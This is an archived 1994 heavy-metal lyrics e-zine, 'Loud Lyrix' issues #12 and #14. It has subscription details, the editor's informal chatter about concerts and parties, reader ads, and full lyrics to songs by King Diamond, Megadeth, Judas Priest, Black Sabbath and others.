to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #12, 6/21/94
------------------------
!!!!!!!!!!!!!!!!!!!!!!!!! W E ' R E B A C K !!!!!!!!!!!!!!!!!!!!!!!!!!!
Yes people, it's true!! This is NOT a mirage, Loud Lyrix is finally back in
distribution after a LONG two week sabbatical... anyways, TONS has happened
during this time.
For one thing, I have finished school, after writing three exams, and I'm
now working at Canada's Wonderland, ooops! I mean Paramount Canada's
Wonderland. (It's a big theme park located just north of Toronto for those
of you that don't know, which is probably about 90% of you!) Well, as you
can probably imagine, I'm happy as hell that skule's over... I thought
that I'd finally have a little time to rest, and catch up on some sleep
and get rid of the bags under my eyes, but NO!! It's even fucking worse
than before!!! Holy shit, I'm half dead.
Anyways, let's get to the big thing, our NEW listserv!! Many thanks go out
to Joe Baptista of Planet Communications for taking me on outta the
goodness of his heart (!!!) Anyways, this makes things MUCH easier for me,
more than any of you can possibly know! Hopefully by now, Joe has gotten
around to sending everyone Loud Lyrix's revamped FAQ. The FAQ has all the
information that you'll need to know about the listserv, how to subscribe,
and how to sign off, make GOOD USE OF IT! And one last thing, remember,
don't send anything to the list address, lyrix@planet.org, 'cause it'll
just bounce that mail back to the administrative address,
lyrix@terranet.cts.com, so DON'T WASTE RESOURCES......thank you.
Ok dudes!! Ton's has happened since Issue #11 on June 7th, I went to see
Pantera, Sepultura and Biohazard, and had a fucking WICKED time!! But I
unfortunately DON'T have the time right now to type out the whole story
for you dudes... it's currently 11:09 on Tuesday the 21st so I'm in a huge
rush to get the issue done, but don't despair, I will get around to writing
an essay for this concert, plus the Metallica/Suicidal/Danzig concert from
the 4th, AND the Scorpions concert this Saturday the 25th too!! Whoa! What
a line up, you dudes are in for a treat.
Ok, the line up for this week is pretty typical, the last song is a
reader's submission, the rest are my own picks (as if you guyz can't tell
by now eh?). Yes, it's true, we have finally finished King Diamond's epic
"The Eye" album. Chapter 10 is the final installment in the story, I
really hope you dudes liked it all, but I urge ALL of you to grab this CD,
and listen to it, nothing compares to the actually music with the lyrics,
it's the only way to get the full effect. Well, the next concept album is
King Diamond's "Them". This album is pretty awesome, although not as good
as "The Eye", but still, King Diamond just can't go wrong with his stories!
This album however is MUCH better with the music, there are lot's of
little special F/X that they have on the album that really make it cool.
I'd recommend getting this album as well.
Well people, that's just about everything, hopefully next week I'll be
able to write those essays I promised, but I seriously doubt it, I'm
pretty fucking packed with work and other shit, it's UNREAL, anyways, I
WILL WRITE THEM!! By issue #25 I'll have 'em done for sure! :)
CONTENTS
--------
Advertisements
Song 1: "The Curse" ("The Eye", Chapter 10) by King Diamond
Song 2: "Prologue" ("Them", Chapter i) by King Diamond
Song 3: "Out From The Asylum" ("Them, Chapter 1) by King Diamond
Song 4: "Soul-Crusher" by White Zombie
Song 5: "Breaking The Law" by Judas Priest
Song 6: "Belly of the Beast" by Anthrax
Song 7: "The Immigrant Song" by Led Zeppelin
Song 8: "God of Thunder" by Kiss
Song 9: "Computer God" by Black Sabbath
Song 10: "Triumph of Death" by Hellhammer
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** A D V E R T I S E M E N T S ************************
From: "Marcel Hubregtse" <lets2463@stud.let.ruu.nl>
To: lyrix@terranet.cts.com
Subject: Desperately Seeking
============================================================================
Desperately seeking: lyrics to Venom's "Black Metal" album, and the lyrics
to Detente's "Recognize No Authority" album and finally
the lyrics to Mercyful Fate's "Melissa" album.
============================================================================
Date: Mon, 30 May 94 12:59:02
From: bjarneh@elvebakken.vgs.no (Bjarne Henning Kvaale)
To: lyrix@terranet.cts.com
Subject: A 'zine
We hereby announce that a new 'zine(on paper) are under production. It will
be dedicated to Norse Darkness and Vikings, but we will also have place for
regular "affairs". We will bring interviews, bios etc with Black Metal
bands. This will be a professional 'zine, not some kind of Hardcore-layout!
If there, among you headbangers, exists any Black Metal bands, please take
contact with one of the below addresses. We have not entitled it yet, but
we will keep in touch with you.
Addresses are:
Bjarne Henning Kvaale Amund Jordal |
Wesselsgate 12 Jordalen |
0165 Oslo 5717 Gudvangen __|__
Norway Norway |
email address:
bjarneh@elvebakken.vgs.no (Bjarne Henning Kvaale)
[Well, looks like shit happens, and poor ol' Hellcrusher has lost his
email address, but he is still reachable through snail mail, he asked me
to put in this ad as a "final request", poor dude, it's murder being
without email! -- Editor]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 10, "The Eye", by King Diamond
*************************** T H E C U R S E *****************************
I know what you're thinking, I can see through your brain
I know what you're doing, even though I'm far away
The power I get from the chain is mine
Only I can use it
The power I get from the chain is mine
Only I can use it
It was only yesterday, thunder rolling by, breaking up the sky
And the rain was pouring down
Pounding on my brain, driving me insane
I was drinking wine again, oh yeah blame it on the wine
The curse of "The Eye", it will take you back in time
If you look at "The Eye", it will take you back in time
The curse of "The Eye", it will take you back in time
If you look at "The Eye", it will take you back in time
I know what you're thinking, I can see through your brain
I know what you're doing, even though I'm far away
I know there's a bad side to the power of the chain
I know I'll be going back in time once again
It was on the 1st of May, thunder rolling by, breaking up the sky
And the rain was pouring down
The Inquisition came, I felt the pain
I had to relive it all in just one day
The curse of "The Eye", it will take you back in time
If you look at "The Eye", it will take you back in time
The power I get from the chain is mine
Only I can use it.
**************************** T H E E N D ********************************
Typed by: Death Incarnate
[And so ends one of the best concept albums I've ever heard in my life, in
my un-humble opinion, Kind Diamond is THE master of story telling... soon
to come will be another concept album of his, entitled "Them". See ya. And
what do you know, here it is!! I've decided not to wait, and to start
posting the songs to "Them" right away. -- Editor]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Ok dudes, here it is, another King Diamond concept album, "Them" is a
story about a little boy, who's name is surprisingly "King Diamond"!! :)
No, I'm serious about that, ok, and he has a sister, "Missy" and a mother,
and they live in an old house that is supposedly haunted by "THEM" and
apparently "Grandma" is in league with "Them", and they just have one HELL
of a time when she comes to visit from the Asylum!! Enjoy. -- Editor]
Chapter i, "Them", by King Diamond
**************************** P R O L O G U E ******************************
by K I N G D I A M O N D
Album: "Them"
-----
|
| o whom it may concern.
I am scared to death. 9 years ago they finally let me out, and I was
just beginning to feel better. I am not Myself any longer. I guess You
could not even recognize My face if You saw Me now. That phone call 2 hours
ago has torn Me apart. It was Grandma. She invited Me back to the old
house. I do not want to go back, but I must. Maybe You will understand My
fear if I tell You what happened during My childhood.
18 years ago I was living with My mother and My sister Missy in
Grandma's old house. I had been told that Grandma was away on a long
vacation, and that she would soon return. She did.
I have later found out that she was actually being released from that
same asylum. "She's insane", they said, when she kept on babbling about
"THEM". I still cannot make up My mind about who really did separate
Grandpa's head from his shoulders. You see, "THEY" were always so nice to
Me.
Anyway, time is short and I must leave for the old house. So here is
what happened 18 years ago. And in case we never see each other again, at
least You will know why.
I bet we are going to have tea.
K.D. 3-12-87
********************* T O B E C O N T I N U E D ***********************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 1, "Them", by King Diamond
***************** O U T F R O M T H E A S Y L U M *******************
by K I N G D I A M O N D
Album: "Them"
Look, the old bitch is back - yeah,
finally we'll get some company again
the attic room has been
locked up for far too long - just like the
old bitch herself - she's on time
though - why that silly wheelchair?
Oh she's pretending as always - but
she does make a good cup of tea.
"Oh My God she's here. Missy, listen
to what Mother says: Now You be
good to Grandma; and remember
she's been away on a long vacation.
That goes for You too King. And stop
playing that thing. Answer the door"
********************* T O B E C O N T I N U E D ***********************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ S O U L - C R U S H E R **************************
by W H I T E Z O M B I E
Album: "La Sexorcisto: Devil Music Vol 1"
Leatherneck'n down the street like "Hey I'm joyrid'n" like a bad dog
Come on "Burn in!"
Leatherneck'n down the street like "Hey I'm joyrid'n" like a bad dog
Come on "Burn in!"
Demon got my soul and I said "Drive!" come on
Speed kills, but I'm alive yeah!
In my Durango 95 yeah!
Casino on the edge she move like a twister gravity crank
Solo my sista, come on
She said "Take me away" away away shout!
I'm deadly on the eyes an astro-spyder, baby
A powertripp'n, no - no - no - maybe, come on
Angel trumpets again yeah!
Motherfucker scream "Horrorshow"
Time a diamond ass right on my line come on
She said "Take me away" away away yeah!
Burning like fat in the fire the smell of red
Red groovie screamed mega-flow
A stalking ground without prey
A flash of superstition whimpering like a crippled animal
Dogs of the soul-crusher
Pulling closer like the blue steel jaws of hell
Digg'n in my heart I find a human generator
Duke of N.Y. see yeah! Eliminator all you need is love
Yeah! like a cool and crazy freak machine
She twanged off and out like I never seen
I gonna take her down, down, down watch out! Shack'n out in my skin
Flesh 'n' waves they begin
I going out like a holiday (shout it!)
Then my mind generate a weepy young "D" to terminate
Takin' a trip I said, "Straight to hell" (shout it!)
Real country dark the street
Hog the road, swamp the beat
She gonna know just what I mean, yeah!
Trip back on the serpent move z-man slowly bang the groove
Takin' a trip, "A real kick" to hell (shout it!)
Think'n that when she die, spirit go up to the sky
Devil come a stepp'n, brainiac a look'n below
Yeah! (shout it!)
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** B R E A K I N G T H E L A W ************************
by J U D A S P R I E S T
Album: "British Steel"
There I was completely wasting, out of work and down
all inside it's so frustrating as I drift from town to town
feel as though nobody cares if I live or die
so I might as well begin to put some action in my life
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law, breaking the law
So much for the golden future, I can't even start
I've had every promise broken, there's anger in my heart
you don't know what it's like, you don't have a clue
if you did you'd find yourselves doing the same thing too
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law, breaking the law
You don't know what it's like.....
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law, breaking the law
Breaking the law......
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** B E L L Y O F T H E B E A S T ********************
by A N T H R A X
Album: "Persistence of Time"
You walk this earth without a heart
You tear the innocent's soul apart
You shovel your conscience into the grave
You walk this earth without a heart
Your uniform couldn't be taken off
A tattoo burned into your flesh
Your mind, your voice
These are your instruments of death
How could you dare to be so bold
You only did as you were told
Marionettes dancing in time
To the apologetic lines
For all the monsters of our time
Who is evil, who is blind?
In the name of who you'll find
A city of souls dying for peace
Welcome to the belly of the beast
One mind, one voice
Welcome to the belly of the beast
Who hears, your voice?
Millions, never, never again
Madness, never, never again
Martyrs, dead that can't die
Monsters
Insanity, the normal state
The left hand a hammer, the right the stake
Driven so deep into the heart
It's killing love, it's killing faith
It's killing 'cause it's from the heart
What better way to demoralize
When your own children are your spies
The things you trust are not the same
Trust in death, trust in grief
Trust in hope is trust in pain
Who is evil, who is blind?
In the name of who you'll find
A city of souls dying for peace
Welcome to the belly of the beast
One mind, one voice
Welcome to the belly of the beast
Who hears, your voice?
Millions, never, never again
Madness, never, never again
Martyrs, dead that can't die
Monsters
Who is evil, who is blind?
In the name of who you'll find
You're not supposed to question faith
But how do you accept this fate?
Madness, tear the innocent's souls apart
Martyrs, shovel your conscience into the grave
Monsters
A city of souls dying for peace
Welcome to the belly of the beast
One mind, one voice
Welcome to the belly of the beast
Who hears, your voice?
This is the belly of the beast
And all the souls dying for peace
Inside the belly of the beast
Millions, never, never again
Madness, never, never again
Martyrs, dead that can't die
Monsters
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** I M M I G R A N T S O N G ************************
by LED ZEPPELIN
Album: "Led Zeppelin III"
Ah, ah,
We come from the land of the ice and snow,
>From the midnight sun where the hot springs blow.
The hammer of the gods
Will drive their ships to new lands,
To fight the horde, singing and crying:
Valhalla, I am coming!
On we sweep with threshing oar,
Our only goal will be the western shore.
Ah, ah,
We come from the land of the ice and snow,
>From the midnight sun where the hot springs blow.
How soft your fields so green,
Can whisper tales of gore,
Of how we calmed the tides of war.
We are your overlords.
On we sweep with threshing oar,
Our only goal will be the western shore.
So now you'd better stop and rebuild your ruins,
For peace and trust can win the day
Despite all your losing.
***************************** T H E E N D *******************************
Typed by: Dwight Cook <sysdc@uokmvsa.backbone.uoknor.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** G O D O F T H U N D E R ************************
by K I S S
Album: "Destroyer"
You've got something about you
You've got something I need
Daughter of Aphrodite
Hear my words and take heed
I was born on Olympus
To my father a son
I was raised by the demons
Trained to reign as the one
God of thunder and rock and roll
The spell you're under
Will slowly rob you of your virgin soul
I'm the lord of the wastelands
A modern day man of steel
I gather darkness to please me
And I command you to kneel
Before the
God of thunder and rock and roll
The spell you're under
Will slowly rob you of your virgin soul
I am the lord of the wastelands
A modern day man of steel
I gather darkness to please me
And I command thee to kneel
Before the
God of thunder and rock and roll
The spell you're under
Will slowly rob you of your virgin soul
****************************** T H E E N D *******************************
Typed by: KISSARMY Members <kissarmy@wkuvx1.wku.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ C O M P U T E R G O D **************************
by B L A C K S A B B A T H
Album: "Dehumanizer"
Waiting for the revolution
New clear vision - genocide
Computerize god - it's the new religion
Program the brain - not the heartbeat
Onward all you crystal soldiers
Touch tomorrow - energize
Digital dreams
And you're the next correction
Man's a mistake so we'll fix it, yeah
Take a look at your own reflection
Right before your eyes
It turns to steel
Chorus:
There's another side of heaven
This way - to technical paradise
Find it on the other side
When the walls fall down
Love is automatic pleasure
Virtual reality
Terminal hate - it's a calculation
Send in the child for connection
Take a look at the toys around you
Right before your eyes
The toys are real
Chorus
Midnight confessions
Never heal the soul
What you believe is fantasy
Your past is your future
Left behind
Lost in time
Will you surrender
Waiting for the revolution
Program the brain
Not the heartbeat
Deliver us to evil
Deny us of our faith
Robotic hearts bleed poison
On the world we populate
Virtual existence
With a superhuman mind
The ultimate creation
Destroyer of mankind
Termination of our youth
For we do not compute
No !
**************************** T H E E N D ********************************
Typed by Martin Sabo <sabo@elf.stuba.sk>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** T R I U M P H O F D E A T H **********************
by H E L L H A M M E R
Album: "Apocalyptic Raids"
When you have been down in your grave...alive
Your mind decays and you're the coffin's slave
And when at midnight an uncanny bell tolls...
Terrible noises, the dark graveyard calls
Limbs break through the dirt
Decay stinks like hell
Dark creatures in the fog
Crusted blood on the dead
Triumph of death
Triumph of death
Euronomous sends his souls
Buried by a horrible mistakes
You feel,you're eaten by worms
And the night's alive again
Repeat verse I
**************************** T H E E N D ********************************
Typed by: Leonid Makarovsky <venom@cs.bu.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok people, sorry about the huge delay in getting this issue out, but it's
all for the better, this 'zine will fucking ROCK on the listserv, no doubt
about it!
BTW, just a couple of things to remember, all submissions and 'zine
related shit still goes to lyrix@terranet.cts.com and all personal mail to
death@terranet.cts.com... and check the FAQ or the header of the 'zine on
instructions on how to subscribe or sign off the 'zine.
And people, I NEED some submissions, you dudes probably thought that I'd
died, but no, I'm still here, so send me all your shit, even reviews, and
stuff, SEND EVERYTHING, and we'll sort it out later, and don't forget, I
need the album name, song name, and band's name for every song.. ok!
C-ya
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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__ _____ __ __ ____
/\ \ /\ __`\/\ \/\ \/\ _`\
\ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \
\ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \
\ \____/ \ \_____\ \_____\ \____/
\/___/ \/_____/\/_____/\/___/
__ __ ____ ______ __ __
/\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \
\ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/'
\ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > <
\ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\
\ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\
\/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/
Loud Lyrix, July 6, 1994, Issue # 14
Addresses
---------
Administrivia: lyrix@terranet.cts.com
Listserv: listserv@planet.org
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti) & Planet Communications
Mailing Program: LISTSERV at planet.org (Planet Communications)
! NOTE !
~~~~~~~~
All mail sent to the 'zine's list address <lyrix@planet.org> will be
forwarded to the editor at <lyrix@terranet.cts.com>, so please refrain
from sending anything to the list address, as this only 'causes us to
waste valuable resources. Thank you.
HOW TO SUBSCRIBE
~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #14, 7/6/94
-----------------------
Hey Duuuudes!! Here we are! Back with another Loud Lyrix, a little late,
but here anyways! So people, just lemme say sorry for putting out this
issue a day late, I've been pretty damn busy lately, and my job doesn't
help any! Anyways, this issue is a little small, but guys, I'm really
pressed for time...
This week's been awesome!! The reason I couldn't put the issue together on
the weekend was because of another AMAZING PARTY!!!!!! Yeah!! This one was
the best yet... fuck man, we had it in this guy's basement, with a fucking
KEG!! Of Molson Canadian.... 7 and a half fucking 2-4's !!!! Wow! We
didn't even finish the fucking thing... anyways.. it was awesome, his dad
bought the keg for us, and they had other drinks upstairs, including this
amazing French wine, which I also drained!... it was kewl... we slapped on
some White Zombie, and went mental moshing like true 'bangers.. I'm telling
you, it was worse than a REAL pit... smashing into walls, fuck, I got more
bruises than at the Pantera gig! A friend of mine sprained his ankle..
hahahaha.. that was funny...
Alright people, I know that over a HUNDRED of you subbers out there are
new to Loud Lyrix, and that this is your first issue (see guys,
advertising pays off), anyways... we have now over 250 subbers, and I
haven't checked for like 4 dayz, so it's probably more like 300+ now!
That's just soooo great... I hope all you newbies like Loud Lyrix, but you
have to make sure you get involved! Send in submissions, lyrics to your
favorite tunes, reviews, interviews, shit.. ANYTHING that's related to the
amazing world of metal, if I like it, I'll print it...
Ok dudes... so, the last three songs are reader submissions, the rest are
my choice.. we're up to Chapter 3 of 10 in King Diamond's "Them". I
included those three Megadeth songs, and the Judas Priest song because I
just bought the albums that they are on... Megadeth's "Rust In Peace",
"Peace Sells...", "So Far, So Good... So What!" and Judas Priest's "Ram it
Down".. these albums totally smoke, I'm telling you! I included what in my
option is the best song on Slayer's "Show No Mercy"... "The Antichrist",
I'm listening to the album right now as I put together this issue of Loud
Lyrix... it rulez!!
BTW... if anyone knows anything about the last song, "Fuck Me Dead"...
like who sings it, or which album it's off of, post me and tell me PLEASE!!
Alright people.. that's it from me,.. all you new people, don't forget to
get a copy of the Loud Lyrix Ad.. and post it like nuts everywhere... oK?
Keep them submissions coming, and I'll see you dudes and dudettes l8r!
CONTENTS
--------
Song 1: "The Invisible Guests" ("Them", Chapter 3) by King Diamond
Song 2: "Holy Wars...The Punishment Due" by Megadeth
Song 3: "502" by Megadeth
Song 4: "The Conjuring" by Megadeth
Song 5: "Blood Red Skies" by Judas Priest
Song 6: "War Inside My Head" by Suicidal Tendencies
Song 7: "The Antichrist" by Slayer
Song 8: "Anything" by Danzig
Song 9: "Country Girl" by Black Sabbath
Song 10: "Fuck Me Dead" by ????
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************** T H E I N V I S I B L E G U E S T S ******************
by K I N G D I A M O N D
Album: "Them"
Late that night I awoke from My sleep
Hearing unknown voices laughing
insane
Grandma' was one, Oh it's coming
from the room next to mine
It's Grandma' room... the invisible
guests
As I stood there alone in the dark
Peeking through the keyhole, couldn't
believe My eyes
I'd never seen anything like it, only
Grandma' was inside the room
Speaking to no one... the invisible
guests
Cups were rising in thin air and then
emptied on the floor
Suddenly the door was open and
Grandma' said
"Do come in My little friend"
Missy and Mother were sleeping
downstairs
If they could see me in Grandmother's
chair
Grandmother said "look Me deep in
the eyes
You will forget what You saw here
tonight"
"I will let You in on the secret of this
house
The secret of Amon... that's what we
call this house
Now I want you to go back to sleep,
now go back to sleep My dear"
The invisible guests
Cups were rising in thin air and then
emptied on the floor
Suddenly the door was open and
Grandma' said
"Now you must go back to sleep"
"Go to sleep"... "Go to sleep"...
"Go to sleep"...
Missy and Mother were sleeping
downstairs
If they could see me in Grandmother's
chair
********************* T O B E C O N T I N U E D ***********************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****** H O L Y W A R S . . . T H E P U N I S H M E N T D U E ********
by M E G A D E T H
Album: "Rust In Peace"
Brother will kill brother
Spilling blood across the land
Killing for religion
Something I don't understand.
Fools like me, who cross the sea
And come to foreign lands
Ask the sheep, for their beliefs
Do you kill on God's command?
A country that's divided
Surely will not stand
My past erased, no more disgrace
No foolish naive stand.
The end is near, it's crystal clear
Part of the master plan
Don't look now to Israel
It might be your homeland.
Holy Wars
Upon my podium, as the know it all scholar
Down in my seat of judgment gavel's bang, uphold the law
Up on my soapbox, a leader out to change the world
Down in my pulpit as the holier-than-thou-could-be messenger of God.
-- The Punishment Due --
Wage the war on organized crime
Sneak attacks, repel down the rocks
Behind the lines
Some people risk to employ me
Some people live to destroy me
Either way they die. They die!
They killed my wife and my baby,
With hopes to enslave me
First mistake...last mistake!
Paid by the alliance, to slay all the giants
Next mistake...no more mistakes!
Fill the cracks in, with judicial granite
Because I don't say it, don't mean I ain't thinkin it.
Next thing you know, they'll take my thoughts away
I know what I said, now I must scream
Of the overdose
And the lack of mercy killings...mercy killings
Mercy killings...killings...killings
Next thing you know, they'll take my thoughts away
**************************** T H E E N D ********************************
Typed By: Laugh while you can, monkey boy! <GS6368@uacsc2.albany.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************************** 5 0 2 **********************************
by M E G A D E T H
Album: "So Far, So Good... So What!"
"Pull over, shithead, this is the cops!"
Full tank, pockets lined with cash
Full throttle, gonna rip some ass.
Drive all day, and through the night,
Romance the road, winding left to right.
The stars above guide me, the moonlight is free.
A feeling inside me, and the whole world to see.
Driving fast makes me feel good,
The speed of light trapped under my hood.
Breaking laws cause there's nothing to do.
Driving the interstate, stopped for a 502
Hundreds of miles rolled off today.
Signs lose their meanings, minutes tick away.
Dirt roads to the interstates, I must have drove them all.
Cigarettes and burgers, caffeine and alcohol.
Drive until daybreak, always on the go.
Life on the freeway, night shift till dawn patrol.
Driving fast makes me feel good,
The speed of light trapped under my hood
Breaking laws cause there's nothing to do.
Driving the interstate, stopped for a 502.
Stopped for a 502, next time it's gonna be you.
Stars above guide me
This feeling inside me.
I drive until daybreak.
Life on the freeway is Hell.
I'm coming through!
**************************** T H E E N D ********************************
Typed By: Laugh while you can, monkey boy! <GS6368@uacsc2.albany.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** T H E C O N J U R I N G *************************
by M E G A D E T H
Album: "Peace Sells, But Who's Buying"
Welcome to our sanguinary sect of worship.
Feel at home in our black conventicle,
As we anathmatise
All those who oppose us.
Don't summon the devil,
Don't call the priests,
If you need the strength,
The Conjuring. Obey!!!
Behold! The flames rise
>From the compass' cardinal points.
Burn the sacred oil,
And, with the ashes you'll anoint.
Arrange the symbols,
Of the wizard, and magician.
Light the candles,
Place the parchment paper in position
Between its leaves place
The lash from a black cat's eye,
A straw of a broom,
Fold, and burn, and centralize.
Don't summon the devil,
Don't call the priests,
If you need the strength,
The Conjuring.
I am the devil's advocate,
A salesman, if you will.
You know my name.
I met your father years ago,
Gave him what he'd please.
He called my name, you'll do the same.
I'm claiming what is mine by right,
It's time to close the deal.
You're bought and sold, bought and sold.
Come join me in my infernal depths,
Mephisto's hall of fame.
I've got your soul, I've got your soul.
The Conjuring. Obey!!!
**************************** T H E E N D ********************************
Typed By: Laugh while you can, monkey boy! <GS6368@uacsc2.albany.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************* B L O O D R E D S K I E S ***********************
by J U D A S P R I E S T
Album: "Ram It Down"
As the sun goes down, I move around
Keeping to the shadows
Life, hangs by a thread
And I've heard it said, that I'll not see tomorrow
If that's my destiny, it'll have to be
So I'll face the future
Running out of time
I'm on the line
But I'll go down fighting
Fell the hand of justice
Telling wrong from right
Threw me out upon the street in the middle of the night
Cybernetic heartbeat
Digital precise
Pneumatic fingers nearly had me in their vice
Not begging you
I'm telling you
You won't break me
You won't make me
You won't take me,
Under blood red skies
You won't break me
You won't take me
I'll fight you under
blood red skies
Through a shattered city, watched by laser eyes
Overhead the night squad glides
The decaying paradise
Automatic sniper
With computer sights
Scans the bleak horizon for its victim of the night
Not begging you
I'm telling you
You won't break me
You won't make me
You won't take me,
Under blood red skies
You won't break me
You won't take me
I'll fight you under
blood red skies
As the end is drawing near
Standing proud, I won't give in to fear
As I die a legend will be born
I will stand, I will fight
You'll never take me alive
I'll stand my ground
I won't go down
You won't break me
You won't make me
You won't take me,
Under blood red skies
You won't break me
You won't take me
I'll fight you under
blood red skies
You'll never take me alive
I'm telling you
Hands of justice
I will stand, I will fight
As the sun goes down
I won't give in to fear
**************************** T H E E N D ********************************
